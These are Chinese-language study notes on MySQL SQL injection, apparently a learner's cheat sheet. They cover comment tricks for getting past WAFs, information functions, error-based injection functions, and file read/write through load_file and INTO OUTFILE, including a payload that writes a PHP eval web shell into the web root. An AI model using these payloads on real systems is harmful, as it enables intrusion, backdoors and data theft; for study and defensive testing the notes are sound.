SQL註入筆記
SQL註釋
單行註釋 #後面直接加內容
--後面必須加空格
多行註釋 /**/中間可跨行
-- + 會刪除
內聯註釋是:
MySQL數據庫為了保持與其他數據庫兼容,特意新添加的功能。 為了避免從MySQL中導出的SQL語句不能被其他數據庫使用,它把一些 MySQL特有的語句放在 /*! ... */ 中,這些語句在不兼容的數據庫中使用時便 不會執行。而MySQL自身卻能識別、執行。 /*50001 */表示數據庫版本>=5.00.01時中間的語句才會執行。 在SQL註入中,內聯註釋常用來繞過waf。
/*!12345user()*/
服務器端連接數據庫所使用的用戶。
mysql 能16進制識別
execute(‘sql語句‘) //execute函數中可以寫
sql語句,且為字符串,那麽就可以傳入一些變形字符串來繞過waf
union select 1,2,3 只顯示一個2 說明只用到了這個字段
SQL註入中一些常用的MySQL函數/語句:
user() 當前用戶
database() 當前數據庫
current_user() 當前用戶名(用於查看權限)
version() 數據庫的版本
@@datadir 數據庫的路徑
load_file() 讀文件操作
into outfile() /into dumpfile 寫文件操作
SQL註入讀寫文件的根本條件:
1. 數據庫允許導入導出(secure_file_priv)
2. 當前用戶用戶文件操作權限(File_priv)
#查看數據庫是否開啟導入導出
show variables like "secure_file_priv";
#查看當前數據庫用戶
select current_user();
#查看當前用戶是否具有文件讀寫權限
select File_priv from mysql.user where user=‘root‘ and host=‘localhost‘;
字符串連接函數
concat(str1,str2)函數 直接連接
group_concat(str1,str2)函數 使用逗號做為分隔符
concat_ws(sep,str1,str2)函數 使用第一個參數做為分隔符
基於報錯的註入:
1.updatexml函數
2.xpath形式
15種報錯函數:
floor() multipolygon()
updatexml() linestring()
extractvalue() ST_LatFromGeoHash()
exp() ST_LongFromGeoHash()
GeometryCollection() GTID_SUBSET()
polygon() GTID_SUBTRACT()
mutipoint() ST_PointFromGenHash()
multionlinestring()
sql註入讀取文件:
寫入文件。url‘)) union select 1,‘2‘,‘<?php @eval($_POST[a]);?>‘ into outfile ‘c:/www/2.php‘%23
雖然提示錯誤,但還是寫入進去了。
讀取文件。url‘)) union select 1,2,load_file("C:/WWW/2.php") into outfile ‘C:/WWW/3.php‘%23
雖然提示錯誤,但還是可以讀取。
file://c:/boot.ini
不會報錯,但是頁面不正常,可以判斷是bool型註入
SQL註入筆記